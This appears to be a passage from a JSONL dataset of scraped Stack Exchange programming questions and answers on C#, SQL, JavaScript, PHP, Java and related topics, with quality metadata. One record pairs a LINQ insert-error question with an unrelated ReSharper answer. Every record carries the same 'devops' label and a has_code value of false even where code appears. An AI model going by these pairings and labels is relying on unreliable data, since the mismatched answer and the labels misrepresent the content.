"2026-01-17T15:27:24.278974"}
{"id": "hf_f45d7b4cba58", "question": "<p>In our industrial automation application, we need to capture and display the data in the milliseconds.</p>\n\n<p>We have data binding between data grid control and a DataTable object. We have around three hundred records which needs to be display in the grid. So we update the 300 records every time we get the records. </p>\n\n<p>Example </p>\n\n<pre><code>       TabularViewTable tvt = _presenter.WorkItem.Items.Get&lt;TabularViewTable&gt; (\"TabularViewTable\");\n\n        foreach (DataRow row in tvt.Rows)\n        {\n            row[\"Value\"] = GetDataFast(row[\"Name\"]);                \n        }\n</code></pre>\n\n<p>After connecting 10 devices, the CPU usage goes 15%. How to improve the performance using DataTable or using some custom data source</p>\n\n<p>Regards,</p>\n\n<p>Krishgy</p>\n", "question_body": "", "answer": "You should seriously reconsider your user interface:\nIs it really necessary to display 300 values? Ordinary human cannot concentrate on more than 7 things simultaneously,\nEven if you lower number of parameters, there is frequency of refresh that seems to high to be practical.\nYou probably should do following:\ncreate a dashboard with graphical representation of most important data (graphs, gauges, ...)\ncreate drill down forms and reports, so that user can see what happened with system in any given period", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.338253"}
{"id": "hf_111f10172941", "question": "<p>I want to use regular expressions (Perl compatible) to be able to find a pattern surrounded by two other patterns, but not include the strings matching the surrounding patterns in the match.</p>\n\n<p>For example, I want to be able to find occurrences of strings like:</p>\n\n<blockquote>\n  <p>Foo Bar Baz</p>\n</blockquote>\n\n<p>But only have the match include the middle part:</p>\n\n<blockquote>\n  <p>Bar</p>\n</blockquote>\n\n<p>I know this is possible, but I can't remember how to do it.</p>\n", "question_body": "", "answer": "Parentheses define the groupings.\n```\n```\n\"Foo (Bar) Baz\"\n```\n```\nExample\n```\n```\n~> cat test.pl\n$a = \"The Foo Bar Baz was lass\";\n\n$a =~ m/Foo (Bar) Baz/;\n\nprint $1,\"\\n\";\n~> perl test.pl\nBar\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.373230"}
{"id": "hf_ebda00812acf", "question": "<p>I'm passing /file:c:\\myfile.doc and I'm getting back \"/file:c:\\myfile.doc\" instead of \"C:\\myfile.doc\", could someone please advise where I am going wrong?</p>\n\n<pre><code>            if (entry.ToUpper().IndexOf(\"FILE\") != -1)\n            {\n                //override default log location\n                MyFileLocation = entry.Split(new char[] {'='})[1];\n            }\n</code></pre>\n", "question_body": "", "answer": "You are splitting on \"=\" instead of \":\"\nTry\n```\n```\nif (entry.ToUpper().IndexOf(\"FILE:\") == 0)\n    {\n         //override default log location\n         MyFileLocation location = entry.Split(new char[] {':'},2)[1];\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.396726"}
{"id": "hf_8938a7d6245e", "question": "<p>Given the following HTML:</p>\n\n<pre><code>&lt;select name=\"my_dropdown\" id=\"my_dropdown\"&gt;\n&lt;option value=\"1\"&gt;displayed text 1&lt;/option&gt;\n&lt;/select&gt;\n</code></pre>\n\n<p>How do I grab the string \"displayed text 1\" using Javascript/the DOM?</p>\n", "question_body": "", "answer": "The displayed text is a child node of the option node.  You can use:\n```\n```\nmyOptionNode.childNodes[0];\n```\n```\nto access it, assuming the text node is the only thing inside the option (and not other tags).\nEDIT:\nOh yeah, as others mentioned, I completely forgot about:\n```\n```\nmyOptionNode.text;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.432105"}
{"id": "hf_567b78df92e2", "question": "<p>When I get a java.io.InvalidClassException, it gives me the serialVersionUID that it wants, and the serialVersionUID that it got.  Is there an easy way to tell which of my dozens of jars using the wrong serialVersionUID?</p>\n\n<p><strong>Update</strong>: I should mention that our intention is to update everything at the same time, but I'm trying to debug a problem in our build and deploy process.</p>\n", "question_body": "", "answer": "The best way to deal with this kind of trouble is to update jars on the server and client side at the same time. This will guarantee the same version of your classes on both sides and you'll not have trouble when serializing / deserializing. Tracking serial UIDs each time you have this problem is not going to solve anything, you're only going to waste considerable time and resources. Its much better to spend some time and implement a proper deployment / packaging strategy.\nIf you really don't have any other choice, you can write a tool that loads a class from each jar (using a URLClassLoader) and then use\n```\njava.io.ObjectStreamClass.getSerialVersionUID()\n```\nto obtain the information you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.479032"}
{"id": "hf_7c755dd76cb2", "question": "<p>I am hoping to find a way to do this in vb.net: </p>\n\n<p>Say you have function call getPaint(Color).  You want the call to be limited to the parameter values of (red,green,yellow). When they enter that parameter, the user is provided the available options, like how a boolean parameter functions.</p>\n\n<p>Any ideas? </p>\n", "question_body": "", "answer": "Hope I am not missing something from your question. Use an enumeration like this:\n```\n```\nEnum Color\n    Red = 1\n    Green = 2\n    Yellow = 3\nEnd Enum\n```\n```\nWhen you write\n```\ngetPaint(Color\n```\nfollowed by a . (period) the Intellisense system will automatically suggest the three options declared in the enumeration (Red, Green, Yellow).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.524645"}
{"id": "hf_7f9967e14717", "question": "<p>Quite a few comments to answers in a different post, <em><a href=\"https://stackoverflow.com/questions/191609/where-are-the-best-locations-to-write-an-error-log-in-windows\">Where are the best locations to write an error log in Windows?</a></em>, gave me the impression that a lot of things regarding standard folders (<code>%APPDATA%</code>; <code>%TEMP%</code>) in Windows&nbsp;Vista are different from Windows&nbsp;XP, which should of course be taken into account when developing software that will have to run under Windows&nbsp; at some point. </p>\n\n<p>But in my company, I do not see that happen in this decade, and maybe not in the next either. I mean, the central IT deployed SP2 only eight months ago, and any question about SP3 is met with disregard (well, if you're lucky...) </p>\n\n<p>So what is your advice? Should I rewrite two modules in my current project to make them ready for Windows&nbsp;Vista, or should I not bother about it at all, until it is really needed?</p>\n", "question_body": "", "answer": "Is your company going to upgrade to Windows Vista at all? A lot of companies are ignoring Windows Vista and are planning to upgrade to the next Windows version when it comes out in the hopes that it will suck less than Windows Vista. If this is the case, it would be a complete waste of time.  Who knows what will change in the next version of Windows. It is better to rewrite once for the new Windows than to rewrite once for Windows Vista and then again for the next Windows version.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.574846"}
{"id": "hf_3b6389488eba", "question": "<p>How can I create a custom property for my .Net assembly which would then be visible under the Details tab in Windows explorer?</p>\n\n<p>Something to sit parallel with \"File Description\", \"Type\", \"Product Version\"... etc</p>\n\n<p>Update: To quote my comment to Lars ... \"Whilst I would have liked to do this from within Visual studio, that is certainly not my priority. Actually I hope to integrate any solution into an existing nant build process. So affecting the assemblies post compile is entirely acceptable. Have you ever heard of such a tool?\"</p>\n\n<p>Further Update: I'm not sure if what I'm talking about is an attribute or not, to clarify a little what I would like to creat in an entry in the following property page...</p>\n\n<p><img src=\"https://i.stack.imgur.com/GgG90.png\" alt=\"alt text\" title=\"Nunit Properties\"></p>\n", "question_body": "", "answer": "Its not the answer yet, but one 1/2 way hack is to use:\n```\n```\n[assembly: AssemblyDescription(\"One Line of Content Here\")]\n```\n```\nAnd that shows up under \"Comments\".\n(still researching, this is something I've wanted for a while.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.610477"}
{"id": "hf_3b8dc0cd1f94", "question": "<p>Can pipes be used across LAN computers?</p>\n\n<p>In particular I'm looking for Windows, but if you have more info on other platforms, that will also help others who find this thread later. </p>\n", "question_body": "", "answer": "Yes they can.\nNamed pipes can be used to provide\n  communication between processes on the\n  same computer or between processes on\n  different computers across a network.\n  If the server service is running, all\n  named pipes are accessible remotely\nhttp://msdn.microsoft.com/en-us/library/aa365590.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.634982"}
{"id": "hf_db964c916baf", "question": "<p>We are using a WCF service layer to return images from a repository.  Some of the images are color, multi-page, nearly all are TIFF format.  We experience slowness - one of many issues.</p>\n\n<p>1.) What experiences have you had with returning images via WCF\n2.) Do you have any suggestions tips for returning large images?\n3.) All messages are serialized via SOAP correct?<br>\n4.) Does wcf do a poor job of compressing the large tiff files?</p>\n\n<p>Thanks all!</p>\n", "question_body": "", "answer": "In a previous project I worked we had a similar issue. We had a Web Service in C# that received requests for medias. A media can range from files to images and was stored in a database using BLOB columns. Initially the web method that handled media retrieval requests read the chunk from the BLOB and returned in to the caller. This was one round trip to the server. The problem with this approach is that the client has no feedback of the progress of the operation.\nThere is no problem in computer\n  science that cannot be solved by an\n  extra level of indirection.\nWe started by refactoring the method in three methods.\nMethod1\nsetup the conversation between caller and the web service. This includes information about the request (like media Id) and capabilities exchange. The web service responded with a ticked Id which is used for the caller for future requests. This initial call is used for resource allocation.\nMethod2\nis called consecutively until there is more that to be retrieved for the media. The call includes information about the current offset and the ticked Id that was provided when\nMethod1\nwas called. The return updates the current position.\nMethod3\nis called to finish request when\nMethod2\nreports that the reading of the request media has completed. This frees allocated resources.\nThis approach is practical because you can give immediate feedback to the user about the progress of the operation. You have a bonus that is to split the requests to\nMethod2\nin different threads. The progress than can be reported by chunk as some BitTorrent clients do.\nDepending on the size of the BLOB you can choose to load it from the database on one go or\nreading it also by chunks\n. This means that you could use a balanced mechanism that based on a given watermark (BLOB size) chooses to load it in one go or by chunks.\nIf there is still a performance issue consider packaging the results using\nGZipStream\nor read about\nmessage encoders\nand specifically pay attention to the binary and Message Transmission Optimization Mechanism (MTOM).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.679960"}
{"id": "hf_3cfc24f06240", "question": "<p>I am getting ready to completely overhaul my web server. I use it for both development and to present product to clients. It also hosts my company website.  I will be loading MS Server 2008 and MS SQL 2008. I want it to have the latest .NET Framework as well as the latest MVC templates. I want it to use SubSonic. I also want to start using some sort of SourceSafe (or whatever a good one is).I plan to use VS 2008 as my development tool.</p>\n\n<p>I figure there are a lot of people out there who have recently gone through this and will have good suggestions.</p>\n\n<p>It is a good stout machine with lots of memory and storage, so, please let me know anything that will help me become a better developer.</p>\n\n<p>Scott and the Dev Team</p>\n", "question_body": "", "answer": "Well, sounds like you've already got a good list going. Though I'd recommend against SourceSafe.\nSee here for details\n. SubVersion is a free alternative. Or perhaps git or something like that if you're up for a challenge.\n[edit to add]\nIf you can afford it, TFS is a nice product that gives you bug tracking, version control, and a build environment. All of those will help you be a better developer.\nTo pimp one of this site's founders, check out the\nJoel Test\nand see what you should implement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.715848"}
{"id": "hf_e0a4968a336f", "question": "<p>If I have a native C++ windows program (i.e. the entry point is WinMain) how do I view output from console functions like std::cout?</p>\n", "question_body": "", "answer": "Since there's no console window, this is\nimpossible\ndifficult. (Learn something new every day - I never knew about the console functions!)\nIs it possible for you to replace your output calls?  I will often use TRACE or OutputDebugString to send information to the Visual Studio output window.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.738895"}
{"id": "hf_763e8518e97b", "question": "<p>I have a Java array such as: </p>\n\n<pre><code>String[] arr = new String[] {\"123\",\"doc\",\"projectReport.doc\"};\n</code></pre>\n\n<p>In my opinion the natural way to access would be: </p>\n\n<pre><code> #set($att_id = $arr[0])\n #set($att_type = $arr[1])\n #set($att_name = $arr[2])\n</code></pre>\n\n<p>But that it is not working. I have come with this workaround. But it a bit too much code for such an easy task. </p>\n\n<pre><code>#set($counter = 0)\n#foreach($el in $arr)\n    #if($counter==0)\n        #set($att_id = $el)\n    #elseif($counter==1)\n        #set($att_type = $el)\n    #elseif($counter==2)\n         #set($att_name = $el)\n    #end\n    #set($counter = $counter + 1)\n#end\n</code></pre>\n\n<p>Is there any other way?</p>\n", "question_body": "", "answer": "You could wrap the array in a\n```\nList\n```\nusing\n```\nArrays.asList(T... a)\n```\n.  The new List object is backed by the original array so it doesn't wastefully allocate a copy.  Even changes made to the new List will propagate back to the array.\nThen you can use\n```\n$list.get(int index)\n```\nto get your objects out in Velocity.\nIf you need to get just one or two objects from an array, you can also use\n```\nArray.get(Object array, int index)\n```\nto get an item from an array.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.762836"}
{"id": "hf_fc553f1aa352", "question": "<p>If I have added/removed/modified a large number of files in my local ClearCase view, how can I be certain that all the files have been added to source control?</p>\n", "question_body": "", "answer": "Use\n```\ncleartool ls -view_only -r\n```\nfrom the your local view VOB directory.\nTo add any files recursively to source control that are only in the local view, see\nHow can I use ClearCase to “add to source control …” recursively?\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.798027"}
{"id": "hf_54aadeb42dae", "question": "<p>Eg.</p>\n\n<pre><code>ConnectionDetails cd = new ConnectionDetails ();\ncd.ProviderName = \"System.Data.OleDb\";\ncd.DataSource = \"serverAddress\";\ncd.Catalog = \"database\";\ncd.UserId = \"userId\";\ncd.Password = \"password\";\n\nstring connectionString = cs.CreateConnectionString();\n// Should return:\n// \"Provider=SQLOLEDB;Data Source=serverAddress;Initial Catalog=database;User Id=userId;Password=password;\"\n</code></pre>\n\n<p>I'd write my own class but I'm not sure how to retrieve a connection string provider property (SQLOLEDB in this example) programmatically from an invariant db provider name (System.Data.OleDb).</p>\n\n<p>Edit:</p>\n\n<p>You can do a</p>\n\n<pre><code>DbProviderFactories.GetFactory(\"System.Data.OleDB\").CreateConnectionStringBuilder()\n</code></pre>\n\n<p>But the DBConnectionStringBuilder that is returned still doesn't know it's connection string provider property, even though in this case it the derived class has a \"Provider\" property.</p>\n", "question_body": "", "answer": "The closest thing I know of is\nDbConnectionStringBuilder\n.\nBecause the properties required by different providers vary, it uses an associative array (name value collection) rather than fixed properties.\nSo your example would look like\n```\n```\nDbConnectionStringBuilder csb = new DbConnectionStringBuilder();\ncsb[\"ProviderName\"] = \"System.Data.OleDb\";\ncsb[\"DataSource\"] = \"serverAddress\";\ncsb[\"Catalog\"] = \"database\";\ncsb[\"UserId\"] = \"userId\";\ncsb[\"Password\"] = \"password\";\n\nstring connectionString = csb.ConnectionString;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.833746"}
{"id": "hf_f6dd65918add", "question": "<p>I need to <a href=\"https://en.wikipedia.org/wiki/Serialization\" rel=\"noreferrer\">serialize</a> an object to <a href=\"https://www.json.org/\" rel=\"noreferrer\">JSON</a>. I'm using <a href=\"https://api.jquery.com/\" rel=\"noreferrer\">jQuery</a>. Is there a \"standard\" way to do this?</p>\n\n<p>My specific situation: I have an array defined as shown below:</p>\n\n<pre><code>var countries = new Array();\ncountries[0] = 'ga';\ncountries[1] = 'cd';\n...\n</code></pre>\n\n<p>and I need to turn this into a string to pass to <a href=\"https://www.w3schools.com/jquery/ajax_ajax.asp\" rel=\"noreferrer\"><code>$.ajax()</code></a> like this:</p>\n\n<pre><code>$.ajax({\n    type: \"POST\",\n    url: \"Concessions.aspx/GetConcessions\",\n    data: \"{'countries':['ga','cd']}\",\n...\n</code></pre>\n", "question_body": "", "answer": "I haven't used it but you might want to try the\njQuery plugin written by Mark Gibson\nIt adds the two functions:\n```\n$.toJSON(value)\n```\n,\n```\n$.parseJSON(json_str, [safe])\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.858115"}
{"id": "hf_251d5a2333b2", "question": "<p>I want to be able to do the following:</p>\n\n<pre><code>$normal_array       = array();\n$array_of_arrayrefs = array( &amp;$normal_array );\n\n// Here I want to access the $normal_array reference **as a reference**,\n// but that doesn't work obviously. How to do it?\nend( $array_of_arrayrefs )[\"one\"] = 1; // choking on this one\n\nprint $normal_array[\"one\"]; // should output 1\n</code></pre>\n\n<p>Regards</p>\n\n<p>/R</p>\n", "question_body": "", "answer": "The line:\nend( $array_of_arrayrefs )[\"one\"] = 1; // choking on this one\nthrows a parse error:\nParse error: syntax error, unexpected '[' in /file.php on line 65\nMake sure you have\n```\nerror_reporting\n```\nand\n```\ndisplay_error\n```\nactivated.\nI'm not sure what you want to do but this works:\n```\n```\n$normal_array       = array();\n$array_of_arrayrefs = array( &$normal_array );\n// Here I want to access the $normal_array reference **as a reference**,\n// but that doesn't work obviously. How to do it?\n$array_of_arrayrefs[0][\"one\"] = 1;\n//end($array_of_arrayrefs )[\"one\"] = 1; // choking on this one\nprint $normal_array[\"one\"]; // should output 1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.881627"}
{"id": "hf_291c4b4df02b", "question": "<p>I have an XML file loaded into a DOM document, \nI wish to iterate through all 'foo' tags, getting values from every tag below it. I know I can get values via </p>\n\n<pre><code>$element = $dom-&gt;getElementsByTagName('foo')-&gt;item(0);\nforeach($element-&gt;childNodes as $node){\n    $data[$node-&gt;nodeName] = $node-&gt;nodeValue;\n}\n</code></pre>\n\n<p>However, what I'm trying to do, is from an XML like, </p>\n\n<pre><code>&lt;stuff&gt;\n  &lt;foo&gt;\n    &lt;bar&gt;&lt;/bar&gt;\n      &lt;value/&gt;\n    &lt;pub&gt;&lt;/pub&gt;\n  &lt;/foo&gt;\n  &lt;foo&gt;\n    &lt;bar&gt;&lt;/bar&gt;\n    &lt;pub&gt;&lt;/pub&gt;\n  &lt;/foo&gt;\n  &lt;foo&gt;\n    &lt;bar&gt;&lt;/bar&gt;\n    &lt;pub&gt;&lt;/pub&gt;\n  &lt;/foo&gt;\n  &lt;/stuff&gt;\n</code></pre>\n\n<p>iterate over every <em>foo</em> tag, and get specific <em>bar</em> or <em>pub</em>, and get values from there.\nNow, how do I iterate over <em>foo</em> so that I can still access specific child nodes by name?</p>\n", "question_body": "", "answer": "Not tested, but what about:\n```\n```\n$elements = $dom->getElementsByTagName('foo');\n$data = array();\nforeach($elements as $node){\n    foreach($node->childNodes as $child) {\n        $data[] = array($child->nodeName => $child->nodeValue);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.940891"}
{"id": "hf_904c73a35d6b", "question": "<p>Is it possible to define a class in C# such that</p>\n\n<pre><code>class GenericCollection&lt;T&gt; : SomeBaseCollection&lt;T&gt; where T : Delegate\n</code></pre>\n\n<p>I couldn't for the life of me accomplish this last night in .NET 3.5. I tried using</p>\n\n<p><code>delegate, Delegate, Action&lt;T&gt; and Func&lt;T, T&gt;</code></p>\n\n<p>It seems to me that this should be allowable in some way. I'm trying to implement my own EventQueue.</p>\n\n<p>I ended up just doing this [primitive approximation mind you].</p>\n\n<pre><code>internal delegate void DWork();\n\nclass EventQueue {\n    private Queue&lt;DWork&gt; eventq;\n}\n</code></pre>\n\n<p>But then I lose the ability to reuse the same definition for different types of functions.</p>\n\n<p>Thoughts?</p>\n", "question_body": "", "answer": "A number of classes are unavailable as generic contraints - Enum being another.\nFor delegates, the closest you can get is \": class\", perhaps using reflection to check (for example, in the static constructor) that the T\nis\na delegate:\n```\n```\nstatic GenericCollection()\n{\n    if (!typeof(T).IsSubclassOf(typeof(Delegate)))\n    {\n        throw new InvalidOperationException(typeof(T).Name + \" is not a delegate type\");\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:24.999921"}
{"id": "hf_4029f11e9cab", "question": "<p>Is there a CIL instruction to exchange the first two elements in the stack?</p>\n", "question_body": "", "answer": "There is no single instruction exchange. However, using\nstloc\n,\npop\n, and\nldloc\n, you should be able to accomplish your exchange.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.022925"}
{"id": "hf_bf6551a31ffc", "question": "<p>In my project I have a class that is inherited by many other classes. We'll call it ClassBase.</p>\n\n<pre><code>public class ClassInheritFromBase : ClassBase\n</code></pre>\n\n<p>When ClassBase is being inherited, <a href=\"http://en.wikipedia.org/wiki/ReSharper\" rel=\"noreferrer\">ReSharper</a> throws an \"Ambiguous reference\" warning on the ClassBase, and anything inside the new class that inherited from ClassBase does not have IntelliSense and gets warnings that it cannot find it.</p>\n\n<p>The project compiles and runs fine.</p>\n\n<p>If I change the namespace ClassBase is in and then change the inheriting classes, they find it fine and ReSharper has no problem, IntelliSense works ... until it is compiled. After the compile it goes back to having the ambiguous reference warnings and everything else.</p>\n\n<p>Has this been seen before and how can it be fixed? I saw an entry in JetBrains bug tracking for an issue just like this, but they closed it as unable to reproduce.</p>\n", "question_body": "", "answer": "I've seen this bug in ReSharper 4.1. It happens when the base class is in the App_Code directory. I don't know how to fix it; it is very annoying, but the code still compiles though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.046656"}
{"id": "hf_f2fb730844fe", "question": "<p>If I have the following Linq code:</p>\n\n<pre><code>context.Table1s.InsertOnSubmit(t);\ncontext.Table1s.InsertOnSubmit(t2);\ncontext.Table1s.InsertOnSubmit(t3);\n\ncontext.SubmitChanges();\n</code></pre>\n\n<p>And I get a database error due to the 2nd insert, Linq throws an exception that there was an error.  But, is there a way to find out that it was the 2nd insert that had the problem and not the 1st or 3rd?</p>\n\n<p>To clarify, there are business reasons that I would expect the 2nd to fail (I am using a stored procedure to do the insert and am also doing some validation and raising an error if it fails).  I want to be able to tell the user which one failed and why.  I know this validation would be better done in the C# code and not in the database, but that is currently not an option.</p>\n", "question_body": "", "answer": "I've seen this bug in ReSharper 4.1. It happens when the base class is in the App_Code directory. I don't know how to fix it; it is very annoying, but the code still compiles though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.069705"}
{"id": "hf_362715fea8e5", "question": "<p>What is the correct way to do this? For example, how would I change a stored procedure with this signature:</p>\n\n<pre><code>CREATE PROCEDURE dbo.MyProcedure\n  @Param BIT = NULL\nAS\n  SELECT *\n  FROM dbo.SomeTable T\n  WHERE T.SomeColumn = @Param\n</code></pre>\n\n<p>So that giving @Param with a value of 1 or 0 performs the filter, but not specifying it or passing NULL performs no filtering?</p>\n", "question_body": "", "answer": "Assuming that NULL means \"don't care\" then use\n```\n```\nCREATE PROCEDURE dbo.MyProcedure \n   @Param BIT = NULL\nAS\n   SELECT *\n   FROM dbo.SomeTable T\n   WHERE T.SomeColumn = @Param OR @Param IS NULL\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.092959"}
{"id": "hf_9d05144c95c0", "question": "<p>Should I create two <code>CFile</code> objects and copy one into the other character by character?  Or is there something in the library that will do this for me?</p>\n", "question_body": "", "answer": "I would just use the\n```\nCopyFile\n```\nWin32 API function, but the example code in the\n```\nCFile::Open\n```\ndocumentation shows how to copy files with\n```\nCFile\n```\n(using pretty much the method you suggest).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.140379"}
{"id": "hf_d14a6175ca58", "question": "<p>I asked <a href=\"https://stackoverflow.com/questions/168661/javascript-table-manipulation\">this question</a> a while back and basically the project almost consists of reproducing excel in the browser.  We want people to input data in an excel-like way.  The question i have is, what is the best control to use?  Should i use a regular table, and then append columns to it, or should i use a datagrid and flip it XtoY?  What approach would you take?</p>\n\n<p>Thanks for any help.</p>\n", "question_body": "", "answer": "Option 1: Check out the Silverlight option to develop your application. And it had a good Excel like DataGrid which is rendered at the Browser lever and you can have async  calls to server at any point of time you want to persit a change.\nOption 2: There are many\ndatagrids\navailable in WPF and you can get a high performance application using .NET3.5, and it is possible to host this as XBAP application.\nOption 3: Typical ASP.NET with AJAX enabled Datagrid", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.212586"}
{"id": "hf_d7688c1c2bc3", "question": "<p>I am trying to use concat_ws inside a group_concat command. With a query, which simplified looks like: </p>\n\n<pre><code>SELECT item.title, GROUP_CONCAT( CONCAT_WS(  ',', attachments.id, attachments.type,     attachments.name ) )  as attachments\nFROM story AS item\nLEFT OUTER JOIN story_attachment AS attachments ON item.id = attachments.item_id\nGROUP BY item.id\n</code></pre>\n\n<p>I get the attachments column as a Blob type. is it it possible to get it as a string instead of Blob?</p>\n", "question_body": "", "answer": "You need to cast as a char..\n```\n```\nSELECT item.title, GROUP_CONCAT( CAST(CONCAT_WS(',', attachments.id, \nattachments.type, attachments.name ) as CHAR ) ) as attachments \nFROM story AS item \nLEFT OUTER JOIN story_attachment AS attachments \nON item.id = attachments.item_id GROUP BY item.id\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.236211"}
{"id": "hf_2baf62cb3ec0", "question": "<p>Shouldn't this be a pretty straightforward operation? However, I see there's neither a <code>size()</code> nor <code>length()</code> method.</p>\n", "question_body": "", "answer": "```\n```\nResultSet rs = ps.executeQuery();\nint rowcount = 0;\nif (rs.last()) {\n  rowcount = rs.getRow();\n  rs.beforeFirst(); // not rs.first() because the rs.next() below will move on, missing the first element\n}\nwhile (rs.next()) {\n  // do your standard per row stuff\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:25.322845"}
